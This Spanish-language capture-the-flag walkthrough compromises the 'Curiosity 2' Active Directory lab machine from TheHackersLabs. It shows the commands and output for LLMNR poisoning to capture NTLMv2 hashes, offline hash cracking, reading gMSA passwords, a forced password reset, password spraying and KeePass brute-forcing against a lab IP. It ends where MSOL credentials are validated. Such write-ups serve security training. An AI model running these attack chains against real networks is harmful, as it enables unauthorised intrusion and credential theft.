Curiosity 2 – TheHackersLabs Link to heading

  • OS: Windows
  • Difficulty: Medium
  • Platform: TheHackersLabs

‘TheHackersLabs’ Avatar


Resumen Link to heading

“Curiosity 2” es una máquina de Active Directory de la plataforma TheHackersLabs. Somos capaces de performar un LLMNR poisoning snigginf a través de la red y obtener así un hashes NTLMv2 para 2 usuarios. Somos capaces de crackear estos hashes y ganar acceso inicial a la máquina víctima. Uno de estos usuarios tiene acceso a una base de datos donde hay un hash, el cual podemos volver a crackear y pivotear a un nuevo usuario. Inspeccionamos la estructura del entorno AD con Bloodhound para ver de qué es capaz este nuevo usuario y podemos ver que éste puede leer el hash de la cuenta GMSA; y, además, este usuario tiene acceso a un archivo KeePass. La cuenta GMSA es capaz de cambiar la contraseña de un 4to usuario. Este nuevo 4to usuario puede leer una tabla en la base de datos a la cual no teníamos acceso previamente. Dentro de este tabla encontramos contraseñas. Una de estas contraseñas funciona para el archivo KeePass. Este archivo contiene la contraseña de un 4to usuario final. Encontramos así 3 maneras de pwnear la máquina: 1) Performar un ataque Resource-based Constrained Delegation y así forjar un Golden Ticket; 2) Performar un ataque DCSync para obtener hashes de todos los usuarios víctimas; 3) Usar exploit PrintNightmare bypasseando Windows Defender para ganar acceso como nt authority/system.


User / Usuario Link to heading

Empezamos con un escaneo con Nmap rápido:

❯ sudo nmap -sS -p- --open --min-rate=5000 -n -Pn -vvv 192.168.56.116

Podemos ver múltiples puertos abiertos: 53 DNS, 88 Kerberos, 135 Microsoft RPC, 389 LDAP, 5985 WinRM, 57936 MSSQL; entre otros. Aplicando algunos escaneos de reconocimiento tenemos:

❯ sudo nmap -sVC -p53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49670,49672,49673,49676,49693,57936,64632,64659 192.168.56.116

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-06 00:50 -03
Nmap scan report for 192.168.56.116
Host is up (0.00046s latency).

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-11-06 03:51:01Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: cons.thl, Site: Default-First-Site-Name)
|_ssl-date: 2024-11-06T03:52:03+00:00; +2s from scanner time.
| ssl-cert: Subject: commonName=WIN-C73PROQLRHL.cons.thl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:WIN-C73PROQLRHL.cons.thl
| Not valid before: 2024-10-11T16:05:23
|_Not valid after:  2025-10-11T16:05:23
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: cons.thl, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=WIN-C73PROQLRHL.cons.thl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:WIN-C73PROQLRHL.cons.thl
| Not valid before: 2024-10-11T16:05:23
|_Not valid after:  2025-10-11T16:05:23
|_ssl-date: 2024-11-06T03:52:03+00:00; +2s from scanner time.
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: cons.thl, Site: Default-First-Site-Name)
|_ssl-date: 2024-11-06T03:52:03+00:00; +2s from scanner time.
| ssl-cert: Subject: commonName=WIN-C73PROQLRHL.cons.thl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:WIN-C73PROQLRHL.cons.thl
| Not valid before: 2024-10-11T16:05:23
|_Not valid after:  2025-10-11T16:05:23
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: cons.thl, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=WIN-C73PROQLRHL.cons.thl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:WIN-C73PROQLRHL.cons.thl
| Not valid before: 2024-10-11T16:05:23
|_Not valid after:  2025-10-11T16:05:23
|_ssl-date: 2024-11-06T03:52:03+00:00; +2s from scanner time.
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        .NET Message Framing
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49670/tcp open  msrpc         Microsoft Windows RPC
49672/tcp open  msrpc         Microsoft Windows RPC
49673/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49676/tcp open  msrpc         Microsoft Windows RPC
49693/tcp open  msrpc         Microsoft Windows RPC
57936/tcp open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM
| ms-sql-info:
|   192.168.56.116\SQLEXPRESS:
|     Instance name: SQLEXPRESS
|     Version:
|       name: Microsoft SQL Server 2019 RTM
|       number: 15.00.2000.00
|       Product: Microsoft SQL Server 2019
|       Service pack level: RTM
|       Post-SP patches applied: false
|     TCP port: 57936
|_    Clustered: false
| ms-sql-ntlm-info:
|   192.168.56.116\SQLEXPRESS:
|     Target_Name: CONS
|     NetBIOS_Domain_Name: CONS
|     NetBIOS_Computer_Name: WIN-C73PROQLRHL
|     DNS_Domain_Name: cons.thl
|     DNS_Computer_Name: WIN-C73PROQLRHL.cons.thl
|_    Product_Version: 10.0.14393
|_ssl-date: 2024-11-06T03:52:03+00:00; +2s from scanner time.
| ssl-cert: Subject: commonName=WIN-C73PROQLRHL.cons.thl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:WIN-C73PROQLRHL.cons.thl
| Not valid before: 2024-10-11T16:05:23
|_Not valid after:  2025-10-11T16:05:23
64632/tcp open  msrpc         Microsoft Windows RPC
64659/tcp open  msrpc         Microsoft Windows RPC
MAC Address: 08:00:27:73:1A:1C (Oracle VirtualBox virtual NIC)
Service Info: Host: WIN-C73PROQLRHL; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2024-11-06T03:51:55
|_  start_date: 2024-11-05T23:43:00
|_clock-skew: mean: 1s, deviation: 0s, median: 1s
|_nbstat: NetBIOS name: WIN-C73PROQLRHL, NetBIOS user: <unknown>, NetBIOS MAC: 08:00:27:73:1a:1c (Oracle VirtualBox virtual NIC)
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 82.32 seconds

Estamos ante un entorno Active Directory.

Usando NetExec sobre el servicio SMB para obtener algo de información del dominio obtenemos:

❯ nxc smb 192.168.56.116

SMB         192.168.56.116  445    WIN-C73PROQLRHL  [*] Windows 10 / Server 2016 Build 14393 x64 (name:WIN-C73PROQLRHL) (domain:cons.thl) (signing:True) (SMBv1:False)

Tenemos un dominio: const.thl y un nombre de máquina WIN-C73PROQLRHL.

Agregamos el dominio y el FQDN a nuestro archivo /etc/hosts:

❯ echo '192.168.56.116 cons.thl WIN-C73PROQLRHL.cons.thl' | sudo tee -a /etc/hosts

Podemos entonces empezar un LLMNR poisoner con Responder y, eventualmente, obtener algo:

❯ sudo responder -I eth0

                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|

           NBT-NS, LLMNR & MDNS Responder 3.1.5.0
<SNIP>
[+] Listening for events...

[*] [NBT-NS] Poisoned answer sent to 192.168.56.116 for name SQLSERVER (service: File Server)
[*] [LLMNR]  Poisoned answer sent to 192.168.56.116 for name SQLserver
[*] [LLMNR]  Poisoned answer sent to fe80::6158:46dd:3fee:8046 for name SQLserver
[*] [LLMNR]  Poisoned answer sent to fe80::6158:46dd:3fee:8046 for name SQLserver
[*] [LLMNR]  Poisoned answer sent to 192.168.56.116 for name SQLserver
[SMB] NTLMv2-SSP Client   : fe80::6158:46dd:3fee:8046
[SMB] NTLMv2-SSP Username : cons\Appolonia
[SMB] NTLMv2-SSP Hash     : Appolonia::cons:e86b71aedb1d4051:50C436B2010305777E08244FFB1974FA:0101000000000000005570716C39DB018C5BC73E68D1B1A00000000002000800440046003900300001001E00570049004E002D0055003700420047005300470030004E0054003100300004003400570049004E002D0055003700420047005300470030004E005400310030002E0044004600390030002E004C004F00430041004C000300140044004600390030002E004C004F00430041004C000500140044004600390030002E004C004F00430041004C0007000800005570716C39DB0106000400020000000800300030000000000000000000000000400000311A3A97A9C05CC6488D5F94C6DF49244019AE0DFE27E7F50CB1BDB2B18370160A0010000000000000000000000000000000000009001C0063006900660073002F00530051004C00730065007200760065007200000000000000000000000000
[*] [LLMNR]  Poisoned answer sent to fe80::6158:46dd:3fee:8046 for name SQLDatababase
[*] [LLMNR]  Poisoned answer sent to 192.168.56.116 for name SQLDatababase
[*] [NBT-NS] Poisoned answer sent to 192.168.56.116 for name SQLDATABABASE (service: File Server)
[*] [LLMNR]  Poisoned answer sent to fe80::6158:46dd:3fee:8046 for name SQLDatababase
[*] [LLMNR]  Poisoned answer sent to 192.168.56.116 for name SQLDatababase
[SMB] NTLMv2-SSP Client   : fe80::6158:46dd:3fee:8046
[SMB] NTLMv2-SSP Username : cons\sqldb
[SMB] NTLMv2-SSP Hash     : sqldb::cons:f693b8f21a5ff527:A4807528249CD6D2B837446128DBD503:0101000000000000005570716C39DB01FF6FB38D578D6B590000000002000800440046003900300001001E00570049004E002D0055003700420047005300470030004E0054003100300004003400570049004E002D0055003700420047005300470030004E005400310030002E0044004600390030002E004C004F00430041004C000300140044004600390030002E004C004F00430041004C000500140044004600390030002E004C004F00430041004C0007000800005570716C39DB0106000400020000000800300030000000000000000000000000400000311A3A97A9C05CC6488D5F94C6DF49244019AE0DFE27E7F50CB1BDB2B18370160A001000000000000000000000000000000000000900240063006900660073002F00530051004C004400610074006100620061006200610073006500000000000000000000000000

Obtenemos 2 hashes. Uno para el usuario Appolonia y otra llamada sqldb.

Si intentamos performar un Brute Force Password Cracking con JohnTheRipper y el diccionario rockyou.txt no somos capaces de crackearlo. Como sea, si usamos otras contraseñas del repositorio SecLists (en un pequeño “for” loop con Bash) obtenemos algo:

❯ for dict in /usr/share/seclists/Passwords/*.txt; do echo -e "\n\n[+] Attempting with dictionary $dict"; john --wordlist=$dict hashes_found; done


[+] Attempting with dictionary /usr/share/seclists/Passwords/2020-200_most_used_passwords.txt
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 5 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:00 DONE (2024-11-19 05:00) 0g/s 1970p/s 3940c/s 3940C/s 123456..angel1
Session completed.
<SNIP>
[+] Attempting with dictionary /usr/share/seclists/Passwords/seasons.txt
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 5 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
au7umn@          (sqldb)
5umm3r@          (Appolonia)
2g 0:00:00:00 DONE (2024-11-19 05:00) 66.66g/s 85333p/s 170666c/s 170666C/s $pr1ng..Spr1ng1
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.
<SNIP>

Obtenemos 2 credenciales: sqldb:au7umn@ y Appolonia:5umm3r@.

Podemos revisar si estas credenciales funcionan con el servicio SMB y NetExec:

❯ nxc smb 192.168.56.116 -u 'sqldb' -p 'au7umn@'

SMB         192.168.56.116  445    WIN-C73PROQLRHL  [*] Windows 10 / Server 2016 Build 14393 x64 (name:WIN-C73PROQLRHL) (domain:cons.thl) (signing:True) (SMBv1:False)
SMB         192.168.56.116  445    WIN-C73PROQLRHL  [+] cons.thl\sqldb:au7umn@

❯ nxc smb 192.168.56.116 -u 'appolonia' -p '5umm3r@'

SMB         192.168.56.116  445    WIN-C73PROQLRHL  [*] Windows 10 / Server 2016 Build 14393 x64 (name:WIN-C73PROQLRHL) (domain:cons.thl) (signing:True) (SMBv1:False)
SMB         192.168.56.116  445    WIN-C73PROQLRHL  [+] cons.thl\appolonia:5umm3r@

Podemos revisar si el usuario Appolonia tiene acceso a través de WinRM:

❯ nxc winrm 192.168.56.116 -u 'appolonia' -p '5umm3r@'

WINRM       192.168.56.116  5985   WIN-C73PROQLRHL  [*] Windows 10 / Server 2016 Build 14393 (name:WIN-C73PROQLRHL) (domain:cons.thl)
WINRM       192.168.56.116  5985   WIN-C73PROQLRHL  [+] cons.thl\appolonia:5umm3r@ (Pwn3d!)

Tenemos acceso. Podemos obtener la flag de usuario en el directorio Documents.


NT Authority / System - Administrador Link to heading

Usamos evil-winrm para ganar acceso en la máquina víctima como el usuario Appolonia:

❯ evil-winrm -i 192.168.56.116 -u Appolonia -p '5umm3r@'

Evil-WinRM shell v3.6

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\appolonia\Documents>

Revisando información acerca de este usuario, we get it is vemos que éste es parte del grupo Support. Dado que este no es un grupo común, podríamos usar Bloodhound para mappear información sobre el dominio. Para esto podemos subir SharpHound (el cual puede ser descargado desde su repositorio de Github) y subirlo a la máquina víctima usando la función upload que viene incluida en evil-winrm:

*Evil-WinRM* PS C:\Users\appolonia\Downloads> upload SharpHound.exe

Info: Uploading /home/gunzf0x/OtherMachines/TheHackersLabs/Curiosity2/exploits/SharpHound.exe to C:\Users\appolonia\Downloads\SharpHound.exe

Data: 2075988 bytes of 2075988 bytes copied

Info: Upload successful!

Una vez subido, lo ejecutamos:

*Evil-WinRM* PS C:\Users\appolonia\Documents> .\SharpHound.exe -c All

…pero no pasa nada.

Adicionalmente, el archivo es borrado. Esto puede indicar que Windows Defender está corriendo en la máquina víctima. Podemos revisar si éste se encuentra corriendo:

*Evil-WinRM* PS C:\Users\appolonia\Documents> cmd.exe /c "sc query Windefend"

SERVICE_NAME: Windefend
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 4  RUNNING
                                (STOPPABLE, NOT_PAUSABLE, ACCEPTS_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x0

Una alternativa para mapear el dominio es bloodhound-python usando alguna de las credenciales halladas previamente:

❯ bloodhound-python -c ALL -u 'Appolonia' -p '5umm3r@' -d cons.thl -ns 192.168.56.116

<SNIP>

Subimos los datos recolectados a Bloodhound (a su Community Edition, o CE) y buscamoas por el grupo Support. Sin embargo, este grupo no muestra nada interesante:

Curiosity2 1

De manera que continuemos.

Podemos entonces cambiar al usuario sqldb dado que las credenciales para este usuario también eran válidas. Este usuario también tiene acceso a través de WinRM:

❯ evil-winrm -i 192.168.56.116 -u sqldb -p 'au7umn@'

Evil-WinRM shell v3.6

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\sqldb\Documents>

Podemos revisar si tenemos alguna base de detos corriendo revisando los registros de la máquina:

*Evil-WinRM* PS C:\Users\sqldb\Documents> reg query "HKLM\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL"

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL
    SQLEXPRESS    REG_SZ    MSSQL15.SQLEXPRESS

Tenemos un servicio SQLEXPRESS para MSSQL.

Podemos revisar si este servicio tiene bases de datos dentro:

*Evil-WinRM* PS C:\Users\sqldb\Documents> sqlcmd -E -S 'localhost\SQLEXPRESS' -Q 'SELECT name FROM master.dbo.sysdatabases;'

name
--------------------------------------------------------------------------------------------------------------------------------
master
tempdb
model
msdb
CredentialsDB
toolsdb

(6 rows affected)

Somos capaces de ver una base de datos CredentialsDB:

*Evil-WinRM* PS C:\Users\sqldb\Documents> sqlcmd -E -S "localhost\SQLEXPRESS" -d "CredentialsDB" -Q "SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE = 'BASE TABLE';"

TABLE_NAME
--------------------------------------------------------------------------------------------------------------------------------
Credentials

(1 rows affected)

Revisando qué hay dentro de esta base de datos tenemos una tabla llamada Credentials:

Check its content:

*Evil-WinRM* PS C:\Users\sqldb\Documents> sqlcmd -E -S "localhost\SQLEXPRESS" -d "CredentialsDB" -Q "SELECT * FROM dbo.Credentials;"

ID          Username                                           Password
----------- -------------------------------------------------- ----------------------------------------------------------------------------------------------------
          1 sqlsvc                                             a6d888301de7aa3b380a691d32837627

(1 rows affected)

Tenemos un hash para el usuario sqlsvc.

Éste parece ser un hash MD5, tal cual parece ser identificado por hash-identifier:

❯ hash-identifier

<SNIP>
--------------------------------------------------
 HASH: a6d888301de7aa3b380a691d32837627

Possible Hashs:
[+] MD5
<SNIP>

Tratamos de crackear este nuevo hash usando, nuevamente, diccionarios del repositorio SecLists:

❯ for dict in /usr/share/seclists/Passwords/*.txt ; do echo -e "\n\n[+] Attempting with dictionary $dict"; john --wordlist=$dict sqlsvc_hash --format=Raw-MD5; done

<SNIP>
[+] Attempting with dictionary /usr/share/seclists/Passwords/seasons.txt
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=5
Press 'q' or Ctrl-C to abort, almost any other key for status
$PRING2021#      (?)
1g 0:00:00:00 DONE (2024-11-19 06:22) 100.0g/s 38400p/s 38400c/s 38400C/s $pr1ng..$umm3r2021%
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.
<SNIP>

Tenemos una contraseña: $PRING2021#.

Revisamos si este hash funciona, como ya es usual, con NetExec:

❯ nxc smb 192.168.56.116 -u 'sqlsvc' -p '$PRING2021#'

SMB         192.168.56.116  445    WIN-C73PROQLRHL  [*] Windows 10 / Server 2016 Build 14393 x64 (name:WIN-C73PROQLRHL) (domain:cons.thl) (signing:True) (SMBv1:False)
SMB         192.168.56.116  445    WIN-C73PROQLRHL  [+] cons.thl\sqlsvc:$PRING2021#

❯ nxc winrm 192.168.56.116 -u 'sqlsvc' -p '$PRING2021#'

WINRM       192.168.56.116  5985   WIN-C73PROQLRHL  [*] Windows 10 / Server 2016 Build 14393 (name:WIN-C73PROQLRHL) (domain:cons.thl)
WINRM       192.168.56.116  5985   WIN-C73PROQLRHL  [+] cons.thl\sqlsvc:$PRING2021# (Pwn3d!)

y logueamos usando evil-winrm:

❯ evil-winrm -i 192.168.56.116 -u sqlsvc -p '$PRING2021#'

Evil-WinRM shell v3.6

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\sqlsvc\Documents>

En Bloodhound podemos revisar si el usuario sqlsvc tiene algún permiso sobre otros usuarios:

Curiosity2 2

Tenemos el permiso ReadGMSAPassword sobre la cuenta de máquina GMSA_SQL$.

Podemos usar NetExec, junto con el comando ldap y la flag --gmsa para abusar de este permiso y obtener el hash del usuario:

❯ nxc ldap 192.168.56.116 -u 'sqlsvc' -p '$PRING2021#' --gmsa

SMB         192.168.56.116  445    WIN-C73PROQLRHL  [*] Windows 10 / Server 2016 Build 14393 x64 (name:WIN-C73PROQLRHL) (domain:cons.thl) (signing:True) (SMBv1:False)
LDAPS       192.168.56.116  636    WIN-C73PROQLRHL  [+] cons.thl\sqlsvc:$PRING2021#
LDAPS       192.168.56.116  636    WIN-C73PROQLRHL  [*] Getting GMSA Passwords
LDAPS       192.168.56.116  636    WIN-C73PROQLRHL  Account: GMSA_SQL$            NTLM: ec1f99b967f3f285007fd567cc203155

Obtenemos un hash NT para la cuenta GMSA_SQL$.

Antes de olvidarnos, revisamos la session evil-winrm del usuario svcsql. Somos capaces de ver un archivo .kdbx (KeePass):

*Evil-WinRM* PS C:\Users\sqlsvc\Documents> dir


    Directory: C:\Users\sqlsvc\Documents


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----       10/31/2024   6:23 PM           2231 Database.kdbx

Lo descargamos:

*Evil-WinRM* PS C:\Users\sqlsvc\Documents> download Database.kdbx

Info: Downloading C:\Users\sqlsvc\Documents\Database.kdbx to Database.kdbx

Info: Download successful!

Si intentaos pasar la contraseña que protege el archivo KeePass a un formato crackeable con keepass2john encontramos un problema:

❯ keepass2john Database.kdbx

! Database.kdbx : File version '40000' is currently not supported!

Podemos usar esta herramienta llamada “keepass4brute” (la cual, a su vez, necesita la herramienta keepassxc-cli, la cual puede ser descargada con sudo apt install keepassxc -y) la cual intentará usar el archivo .kdbx usando fuerza bruta:

❯ git clone https://github.com/r3nt0n/keepass4brute.git

Cloning into 'keepass4brute'...
remote: Enumerating objects: 24, done.
remote: Counting objects: 100% (24/24), done.
remote: Compressing objects: 100% (21/21), done.
remote: Total 24 (delta 10), reused 9 (delta 2), pack-reused 0 (from 0)
Receiving objects: 100% (24/24), 18.26 KiB | 456.00 KiB/s, done.
Resolving deltas: 100% (10/10), done.

❯ cd keepass4brute

❯ ./keepass4brute.sh ../../content/Database.kdbx /usr/share/seclists/Passwords/seasons.txt

keepass4brute 1.3 by r3nt0n
https://github.com/r3nt0n/keepass4brute

[+] Words tested: 5390/5390 - Attempts per minute: 1126 - Estimated time remaining: 0 seconds
[!] Wordlist exhausted, no match found

Pero no tenemos suerte. De manera que puede que volvamos a este archivo más tarde.

Volvamos a la cuenta GMSA_SQL$. Revisando qué es lo que puede hacer este usuario en Bloodhound tenemos:

Curiosity2 3

Tenemos GenericWrite y ForceChangePassword sobre el usuario toolsdb.

Basados en el permiso GenericWrite podríamos performar un ataque de Shadow Credentials para intentar obtener el hash NT del usuario toolsdb. Para esto podemos usar la herramienta Certipy:

❯ certipy shadow auto -username 'GMSA_SQL$'@cons.thl -hashes ':ec1f99b967f3f285007fd567cc203155' -no-pass -account 'toolsdb'

Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Targeting user 'toolsdb'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID 'edc525c8-e435-04cc-2335-47a697627472'
[*] Adding Key Credential with device ID 'edc525c8-e435-04cc-2335-47a697627472' to the Key Credentials for 'toolsdb'
[*] Successfully added Key Credential with device ID 'edc525c8-e435-04cc-2335-47a697627472' to the Key Credentials for 'toolsdb'
[*] Authenticating as 'toolsdb' with the certificate
[*] Using principal: toolsdb@cons.thl
[*] Trying to get TGT...
[-] Got error while trying to request TGT: Kerberos SessionError: KDC_ERR_PADATA_TYPE_NOSUPP(KDC has no support for padata type)
[*] Restoring the old Key Credentials for 'toolsdb'
[*] Successfully restored the old Key Credentials for 'toolsdb'
[*] NT hash for 'toolsdb': None

Obtenemos un error: KDC_ERR_PADATA_TYPE_NOSUPP(KDC has no support for padata type). Este error quiere decir que el Key Distribution Center (o KDC) no está configurado para recibir autenticaciones de Kerberos. Por lo que no somos capaces de performar un ataque de Shadow Credentials, tristemente.

Así que la única opción posible es cambiar la contraseña del usuario toolsdb usando el permiso ForceChangePassword. Podemos realizar esto fácilmente utilizando una herramienta como impacket-changepasswd:

❯ impacket-changepasswd CONS.THL/toolsdb@cons.thl -newpass 'gunzf0x123$!' -altuser 'GMSA_SQL$' -althash ':ec1f99b967f3f285007fd567cc203155' -no-pass -reset

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Setting the password of CONS.THL\toolsdb as CONS.THL\GMSA_SQL$
[*] Connecting to DCE/RPC as CONS.THL\GMSA_SQL$
[*] Password was changed successfully.
[!] User no longer has valid AES keys for Kerberos, until they change their password again.

Hemos cambiado la contraseña del usuario toolsdb a gunzf0x123$!.

Revisamos si el cambio ha tenido efecto consultando con nuestro viejo amigo NetExec:

❯ nxc smb 192.168.56.116 -u 'toolsdb' -p 'gunzf0x123$!'

SMB         192.168.56.116  445    WIN-C73PROQLRHL  [*] Windows 10 / Server 2016 Build 14393 x64 (name:WIN-C73PROQLRHL) (domain:cons.thl) (signing:True) (SMBv1:False)
SMB         192.168.56.116  445    WIN-C73PROQLRHL  [+] cons.thl\toolsdb:gunzf0x123$!

❯ nxc winrm 192.168.56.116 -u 'toolsdb' -p 'gunzf0x123$!'

WINRM       192.168.56.116  5985   WIN-C73PROQLRHL  [*] Windows 10 / Server 2016 Build 14393 (name:WIN-C73PROQLRHL) (domain:cons.thl)
WINRM       192.168.56.116  5985   WIN-C73PROQLRHL  [+] cons.thl\toolsdb:gunzf0x123$! (Pwn3d!)

Nos conectamos a la máquina víctima con evil-winrm:

❯ evil-winrm -i 192.168.56.116 -u 'toolsdb' -p 'gunzf0x123$!'

Evil-WinRM shell v3.6

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\toolsdb\Documents>

Hay una base de datos llamada toolsdb (el mismo nombre del usuario) la cual habíamos visto previamente con sqlcmd (pero no teníamos permiso para leer). Revisamos si ahora sí somos capaces de leerla:

*Evil-WinRM* PS C:\Users\toolsdb\Documents> sqlcmd -E -S "localhost\SQLEXPRESS" -d "toolsdb" -Q "SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE = 'BASE TABLE';"

TABLE_NAME
--------------------------------------------------------------------------------------------------------------------------------
users

(1 rows affected)

Podemos.

Leyendo la tabla users retorna algunos usuarios y passwords

*Evil-WinRM* PS C:\Users\toolsdb\Documents> sqlcmd -E -S "localhost\SQLEXPRESS" -d "toolsdb" -Q "SELECT * FROM dbo.users;"
id          username                                           password
----------- -------------------------------------------------- --------------------------------------------------
          1 user_6B482050                                      433129A1!@1
          2 user_47F7501A                                      64409A1C!@1
          3 user_515A0C58                                      CAD616E3!@1
          4 user_CA843BF2                                      731C60AD!@1
          5 user_AA2B9FF8                                      8E181E5F!@1
          6 user_F6E6A108                                      47862562!@1
          7 user_8D56BAE8                                      425B6335!@1
          8 user_BA9B1295                                      E4FC1AC4!@1
          9 user_66B7DBEE                                      4EE216A3!@1
         10 user_E75B7C23                                      4CD89A92!@1

(10 rows affected)

Guardamos las contraseñas en nuestra máquian de atacante en un archivo llamado toolsdb_passwords.txt. También podemos obtener una lista de usuarios completa del dominio usando el servicio Microsoft RPC junto con rpcclient:

❯ rpcclient -U "Appolonia%5umm3r@" 192.168.56.116 -c 'enumdomusers' | grep -o '\[.*\]' | sed 's/\[//;s/\]//' | awk -F 'rid' '{print $1}' > domain_users.txt

E intentamos un Password Spray:

❯ nxc smb 192.168.56.116 -u domain_users.txt -p toolsdb_passwords.txt

SMB         192.168.56.116  445    WIN-C73PROQLRHL  [*] Windows 10 / Server 2016 Build 14393 x64 (name:WIN-C73PROQLRHL) (domain:cons.thl) (signing:True) (SMBv1:False)
SMB         192.168.56.116  445    WIN-C73PROQLRHL  [-] cons.thl\Administrator:433129A1!@1 STATUS_LOGON_FAILURE
SMB         192.168.56.116  445    WIN-C73PROQLRHL  [-] cons.thl\Guest:433129A1!@1 STATUS_LOGON_FAILURE
SMB         192.168.56.116  445    WIN-C73PROQLRHL  [-] cons.thl\krbtgt:433129A1!@1 STATUS_LOGON_FAILURE
<SNIP>

Pero ninguna credencial funciona.

¿Qué tal con el archivo .kdbx que habíamos hallado previamente?

❯ ./keepass4brute.sh Database.kdbx toolsdb_passwords.txt

keepass4brute 1.3 by r3nt0n
https://github.com/r3nt0n/keepass4brute

[+] Words tested: 5/10 - Attempts per minute: 300 - Estimated time remaining: 1 seconds
[+] Current attempt: 8E181E5F!@1

[*] Password found: 8E181E5F!@1

La contraseña 8E181E5F!@1 dunciona para el archivo Database.kdbx.

Podemos entonces usar keepassxc-cli para revisar su contenido en una terminal:

❯ keepassxc-cli ls Database.kdbx

Enter password to unlock Database.kdbx:
MSOL
General/
Windows/
Network/
Internet/
eMail/
Homebanking/
Recycle Bin/

Revisando uno por uno los archivos, eventualmente hallamos algo interesante:

❯ keepassxc-cli show Database.kdbx "MSOL" -s

Enter password to unlock Database.kdbx:
Title: MSOL
UserName: MSOL
Password: YRax2Ry8g2ITQ3hpRPze
URL:
Notes:
Uuid: {fc461e02-a7b8-3e4e-8af6-81a04cfdca95}
Tags:

El usuario MSOL existía en el dominio. Revisamos si esta contraseña funciona para el usuario:

❯ nxc smb 192.168.56.116 -u 'MSOL' -p 'YRax2Ry8g2ITQ3hpRPze'

SMB         192.168.56.116  445    WIN-C73PROQLRHL  [*] Windows 10 / Server 2016 Build 14393 x64 (name:WIN-C73PROQLRHL) (domain:cons.thl) (signing:True) (SMBv1:False)
SMB         192.168.56.116  445    WIN-C73PROQLRHL  [+] cons.thl\MSOL:YRax2Ry8g2ITQ3hpRPze

